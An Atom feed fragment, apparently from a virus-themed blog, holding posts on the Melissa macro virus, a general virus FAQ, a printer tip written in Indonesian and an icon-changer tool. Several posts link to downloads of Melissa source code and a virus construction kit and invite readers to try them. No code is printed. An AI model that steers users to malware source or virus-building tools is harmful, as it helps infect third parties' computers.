Function'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-7326567007278646356</id><published>2009-01-26T23:32:00.005+07:00</published><updated>2010-09-20T19:58:30.311+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Macro Viruses'/><category scheme='http://www.blogger.com/atom/ns#' term='Virus Source'/><title type='text'>The Melissa Word Macro Virus</title><content type='html'>&lt;div style="text-align: justify;"&gt;The W97M.Melissa Word macro virus has been seen within the DOE complex. This macro virus uses two methods of infection. First, it infects the Word 97 (or 2000) program (normal.dot template) and all subsequent documents edited with Word. Second, it uses the Outlook 98 (or 2000) e-mail program to mail copies of the infected document to the first 50 people in each of your Outlook address books. If Outlook 98 or Outlook 2000 is not installed, the second method of infection does not work but the first method still does.&lt;br /&gt;&lt;br /&gt;The virus attaches to Word objects in Word 97 and Word 2000. Because of this method of infection, this virus will not infect older versions of  Microsoft Word. When an infected document is opened, &lt;span class="fullpost"&gt;the virus checks to see if Word 97 or Word 2000 is installed, disables the Macro toolbar, and then disables the following Word 97 options (different options in Word 2000):&lt;br /&gt;&lt;br /&gt;Confirm conversions at open.&lt;br /&gt;Macro virus protection.&lt;br /&gt;Prompt to save Normal template.&lt;br /&gt;&lt;br /&gt;Disabling these options makes it difficult to detect the virus in action. The virus next checks the value of the private registry string:&lt;br /&gt;&lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\Office\Melissa?&lt;br /&gt;&lt;br /&gt;If that string is not equal to "... by Kwyjibo" the virus sends copies of the infected document to the first 50 people in each of your Outlook address books and then sets the registry key so it does not do this again. It sends copies of the infected document to others by opening a connection to Microsoft Outlook and creating an e-mail message with the subject:&lt;br /&gt;&lt;br /&gt;Important Message From (username)&lt;br /&gt;&lt;br /&gt;where (username) is replaced with the current Word user's name (Tools, Options command, User Information tab). The body of the message contains the following text:&lt;br /&gt;&lt;br /&gt;Here is that document you asked for ... don't show anyone else ;-)&lt;br /&gt;&lt;br /&gt;The virus then inserts the first 50 users from your first Outlook address book, attaches the infected document and sends the message. It performs this process again for each of the address books you have defined in Outlook.&lt;br /&gt;&lt;br /&gt;After sending itself to the people in your address books, the virus checks to see if it is running on a document or the Normal.dot template. If it is running on a document, it infects the Normal.dot template with a Document_Close macro that runs whenever a document is closed. If it is running on the Normal.dot template, it infects the active document with a Document_Open macro that runs whenever a document is opened. After the Normal.dot template is infected, the virus infects every document you work on as soon as you close them. If you share these documents with anyone, you will spread the virus.&lt;br /&gt;&lt;br /&gt;Finally, it has a small payload. If the minute of the hour equals the day of the month, the virus inserts the following message at the current location in the active document.Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game's over.  I'm outta here.&lt;br /&gt;&lt;br /&gt;Note: we have been informed that the word Kwyjibo and the text inserted into the document are from a Bart Simpson episode where Bart wins a Scrabble game with the word Kwyjibo.&lt;br /&gt;&lt;br /&gt;Download Melissa Source code &lt;font face="Verdana, Arial" size="2"&gt;&lt;a href="http://www.ziddu.com/downloadlink/11750753/MELLISA.ZIP.html"&gt;here&lt;/a&gt;.&lt;/font&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-7326567007278646356?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/7326567007278646356/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/melissa-word-macro-virus.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/7326567007278646356'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/7326567007278646356'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/melissa-word-macro-virus.html' title='The Melissa Word Macro Virus'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-8644785274222786863</id><published>2009-01-26T22:12:00.007+07:00</published><updated>2009-01-27T00:14:36.987+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Macro Viruses'/><title type='text'>Macro Viruses</title><content type='html'>&lt;div style="text-align: justify;"&gt;Computer viruses can be divided into several types, such as boot sector viruses, file viruses, polymorphic viruses, stealth viruses, and macro viruses. This macro virus can attack on MS Word documents, Excel or Power Point. This macro virus including viruses found in most of us. Of course we still remember with the virus or virus Mellisa I Love You that we can also enter the category of macro viruses.&lt;br /&gt;&lt;br /&gt;Why macro virus is often once we met? The answer, of course, because the MS Office user population is very large. With quite a lot of the macro virus &lt;span class="fullpost"&gt; can develop quickly. To exchange data with *. doc (MS Word document) that have been infected then enough to make all documents to be infected.&lt;br /&gt;&lt;br /&gt;Interestingly, how to create a macro virus is? If you are a programmer, with the help of a variety of reference are of course easy to learn to create macro viruses. The problem is what if we are not at the programming language?&lt;br /&gt;&lt;br /&gt;However, in a lot of software that can be used to create a macro virus. One is SkamWerks Lab. With facilities Virii Wizard, we can create a virus from the start to finish. When using the Virii Wizard, we can write the virus, the name of the virus, and the macro function to put in the virus. it's from, please you immediately try it for yourself. Of course, after you download the program &lt;span style="font-family:Verdana, Arial;font-size:85%;"&gt;&lt;a href="ftp://ftp.zedz.net/pub/mirrors/vx.netlux.org/dl/gen/cmk_v1.zip"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If interested, you can get other software that can be used to create the virus here.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-8644785274222786863?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/8644785274222786863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/macro-viruses.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/8644785274222786863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/8644785274222786863'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/macro-viruses.html' title='Macro Viruses'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-8005007273140583170</id><published>2009-01-24T17:46:00.002+07:00</published><updated>2009-01-27T21:18:17.467+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>Visual Basic</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tb_BCZ1G0Gw/SX8XmdF0f5I/AAAAAAAAAA0/-_xeybwaOCg/s1600-h/vb.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_tb_BCZ1G0Gw/SX8XmdF0f5I/AAAAAAAAAA0/-_xeybwaOCg/s320/vb.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5295977636222500754" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Microsoft Visual Basic (often abbreviated as VB only) is a programming language that is event driven and offer Integrated Development Environment (IDE) to create a visual program based application operating system Microsoft Windows programming model by using the Common Object Model (COM). Visual Basic language is derived BASIC offers application development and computer-based graphics with quick access to the database using Data Access Objects (DAO), Remote Data Objects (RDO), or ActiveX Data Object (ADO), and the making of offers ActiveX controls and objects ActiveX. Some script languages &lt;span class="fullpost"&gt;such as Visual Basic for Applications (VBA) and Visual Basic Scripting Edition (VBScript), similar as well as Visual Basic, but do they work different.&lt;br /&gt;&lt;br /&gt;The programmer can build applications using components provided by Microsoft Visual Basic programs written in Visual Basic can also use the Windows API, but requires additional external function declarations.&lt;br /&gt;&lt;br /&gt;In business for programming, Visual Basic has a market that is very knowledgeable. In a survey conducted in 2005, 62% of software developers reported using various forms of Visual Basic, which was followed by C + +, JavaScript, C #, and Java.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-8005007273140583170?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/8005007273140583170/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/visual-basic.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/8005007273140583170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/8005007273140583170'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/visual-basic.html' title='Visual Basic'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tb_BCZ1G0Gw/SX8XmdF0f5I/AAAAAAAAAA0/-_xeybwaOCg/s72-c/vb.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-7446673784916871670</id><published>2009-01-24T15:09:00.003+07:00</published><updated>2009-01-27T22:41:45.061+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virus Info'/><title type='text'>Computer Virus</title><content type='html'>1. What is a computer virus?&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;A computer virus is a program designed to spread itself by first infecting executable files or the system areas of hard and floppy disks and then making copies of itself. Viruses usually operate without the knowledge or desire of the computer user.&lt;br /&gt;&lt;br /&gt;2. What kind of files can spread viruses?&lt;br /&gt;&lt;br /&gt;Viruses have the potential to infect any type of executable code, not just the files that are commonly called 'program files'. For example, some viruses infect executable code in the boot sector of floppy disks or in system areas of hard drives. Another type of virus, known as a 'macro' virus, can infect&lt;span class="fullpost"&gt;word processing and spreadsheet documents that use macros. And it's possible for HTML documents containing JavaScript or other types of executable code to spread viruses or other malicious code.&lt;br /&gt;&lt;br /&gt;Since virus code must be executed to have any effect, files that the computer treats as pure data are safe. This includes graphics and sound files such as .gif, .jpg, .mp3, .wav, etc., as well as plain text in .txt files. For example, just viewing picture files won't infect your computer with a virus. The virus code has to be in a form, such as an .exe program file or a Word .doc file, that the computer will actually try to execute.&lt;br /&gt;&lt;br /&gt;3. How do viruses spread?&lt;br /&gt;&lt;br /&gt;When you execute program code that's infected by a virus, the virus code will also run and try to infect other programs, either on the same computer or on other computers connected to it over a network . And the newly infected programs will try to infect yet more programs.&lt;br /&gt;&lt;br /&gt;When you share a copy of an infected file with other computer users, running the file may also infect their computers; and files from those computers may spread the infection to yet more computers. If your computer is infected with a boot sector virus, the virus tries to write copies of itself to the system areas of floppy disks and hard disks. Then the infected floppy disks may infect other computers that boot from them, and the virus copy on the hard disk will try to infect still more floppies. Some viruses, known as 'multipartite' viruses, can spread both by infecting files and by infecting the boot areas of floppy disks.&lt;br /&gt;&lt;br /&gt;4. What do viruses do to computers?&lt;br /&gt;Viruses are software programs, and they can do the same things as any other programs running on a computer. The actual effect of any particular virus depends on how it was programmed by the person who wrote the virus.&lt;br /&gt;&lt;br /&gt;Some viruses are deliberately designed to damage files or otherwise interfere with your computer's operation, while others don't do anything but try to spread themselves around. But even the ones that just spread themselves are harmful, since they damage files and may cause other problems in the process of spreading.&lt;br /&gt;&lt;br /&gt;Note that viruses can't do any damage to hardware: they won't melt down your CPU, burn out your hard drive, cause your monitor to explode, etc. Warnings about viruses that will physically destroy your computer are usually hoaxes, not legitimate virus warnings.&lt;br /&gt;&lt;br /&gt;5. What is a Trojan horse program?&lt;br /&gt;&lt;br /&gt;A type of program that is often confused with viruses is a 'Trojan horse' program. This is not a virus, but simply a program (often harmful) that pretends to be something else.&lt;br /&gt;For example, you might download what you think is a new game; but when you run it, it deletes files on your hard drive. Or the third time you start the game, the program E-mails your saved passwords to another person.&lt;br /&gt;&lt;br /&gt;Note: simply downloading a file to your computer won't activate a virus or Trojan horse; you have to execute the code in the file to trigger it. This could mean running a program file, or opening a Word/Excel document in a program (such as Word or Excel) that can execute any macros in the document.&lt;br /&gt;&lt;br /&gt;6. What's the story on viruses and E-mail?&lt;br /&gt;&lt;br /&gt;You can't get a virus just by reading a plain-text E-mail message or Usenet post. What you have to watch out for are encoded messages containing embedded executable code (i.e., JavaScript in an HTML message) or messages that include an executable file attachment (i.e., an encoded program file or a Word document containing macros).&lt;br /&gt;&lt;br /&gt;In order to activate a virus or Trojan horse program, your computer has to execute some type of code. This could be a program attached to an E-mail, a Word document you downloaded from the Internet, or something received on a floppy disk. There's no special hazard in files attached to Usenet posts or E-mail messages: they're no more dangerous than any other file.&lt;br /&gt;&lt;br /&gt;7. What can I do to reduce the chance of getting viruses from E-mail?&lt;br /&gt;&lt;br /&gt;Treat any file attachments that might contain executable code as carefully as you would any other new files: save the attachment to disk and then check it with an up-to-date virus scanner before opening the file.&lt;br /&gt;&lt;br /&gt;If your E-mail or news software has the ability to automatically execute JavaScript, Word macros, or other executable code contained in or attached to a message, I strongly recommend that you disable this feature.&lt;br /&gt;&lt;br /&gt;My personal feeling is that if an executable file shows up unexpectedly attached to an E-mail, you should delete it unless you can positively verify what it is, who it came from, and why it was sent to you.&lt;br /&gt;&lt;br /&gt;The recent outbreak of the Melissa virus was a vivid demonstration of the need to be extremely careful when you receive E-mail with attached files or documents. Just because an E-mail appears to come from someone you trust, this does NOT mean the file is safe or that the supposed sender had anything to do with it.&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-7446673784916871670?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/7446673784916871670/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/computer-virus.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/7446673784916871670'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/7446673784916871670'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/computer-virus.html' title='Computer Virus'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-7971151640509781172</id><published>2009-01-17T08:00:00.000+07:00</published><updated>2010-09-17T18:59:00.278+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips Komputer'/><title type='text'>Kode Blinking Canon IP1300</title><content type='html'>Blinking, Indikator Kedap-kedip ketika Printer dinyalakan, Biasanya penyakit ini melanda Canon iP1200, iP1300, iP1600, iP1700, i255,&lt;br /&gt;&lt;br /&gt;Solusi Ringan, maksudnya solusi ini harus anda lakukan setiap kali anda menyalakan printer, sebab langkah ini hanya bersifat sementara. Ketika printer anda terputus dari arus listrik, maka blinking akan kembali muncul. Tapi, nggak ada salahnya ada lakukan langkah ini, bila anda belum familiar dengan cara-cara mereset printer menggunakan software.&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;    * Lepaskan kabel power dari printer anda.&lt;br /&gt;    * Tekan terus tombol Power, sambil anda memasang kembali kabel power.&lt;br /&gt;    * Indikator power akan kelihatan  menyala berwarna kuning.&lt;br /&gt;    * Lepaskan tombol power, ketika anda selesai memasang kabel power.&lt;br /&gt;    * Kemudian tekan lagi tombol power, untuk menyalakan printer anda.&lt;br /&gt;    * Dipastikan printer anda tidak blinking lagi. Namun ketika printer anda terputus dari arus listrik, maka blinking ini akan muncul, dan anda tinggal ulangi langkah diatas.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-7971151640509781172?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/7971151640509781172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2010/09/kode-blinking-canon-ip1300.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/7971151640509781172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/7971151640509781172'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2010/09/kode-blinking-canon-ip1300.html' title='Kode Blinking Canon IP1300'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-8710795644773657164</id><published>2008-05-08T20:07:00.000+07:00</published><updated>2010-09-17T18:57:13.292+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Aplikasi'/><title type='text'>Merubah Icon .exe</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tb_BCZ1G0Gw/TJNXQ3xqkzI/AAAAAAAAAIw/_T2U4c621q4/s1600/icon.JPG"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 316px; height: 133px;" src="http://3.bp.blogspot.com/_tb_BCZ1G0Gw/TJNXQ3xqkzI/AAAAAAAAAIw/_T2U4c621q4/s320/icon.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5517849915820774194" /&gt;&lt;/a&gt;&lt;br /&gt;Icon Changer '&lt;br /&gt;&lt;br /&gt;ini adalah aplikasi untuk merubah suatu icon aplikasi...&lt;br /&gt;Metode merubah icon ini diadaptasi oleh virus chasnah, yaitu dengan cara merubah-ubah icon virus tersebut menjadi sesuai nama yang diinginkanya..&lt;br /&gt;&lt;br /&gt;Source code akan menyusul pada posting berikutnya..&lt;br /&gt;&lt;br /&gt;Caranya sangat mudah..&lt;span class="fullpost"&gt;&lt;br /&gt;setelah kamu download Icon Changer &lt;font face="Verdana, Arial" size="2"&gt;&lt;a target="sunrise" href="http://www.ziddu.com/download/11711547/IconChange.zip.html"&gt;Disini&lt;/a&gt;.&lt;/font&gt;&lt;br /&gt;extract, dan jalankan aplikasinya..&lt;br /&gt;&lt;br /&gt;tinggal select file exe yang akan dirubah iconnya,&lt;br /&gt;&lt;br /&gt;kemudian cring..cring... berubah...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-8710795644773657164?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/8710795644773657164/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2009/05/merubah-icon-exe.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/8710795644773657164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/8710795644773657164'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2009/05/merubah-icon-exe.html' title='Merubah Icon .exe'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tb_BCZ1G0Gw/TJNXQ3xqkzI/AAAAAAAAAIw/_T2U4c621q4/s72-c/icon.JPG' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
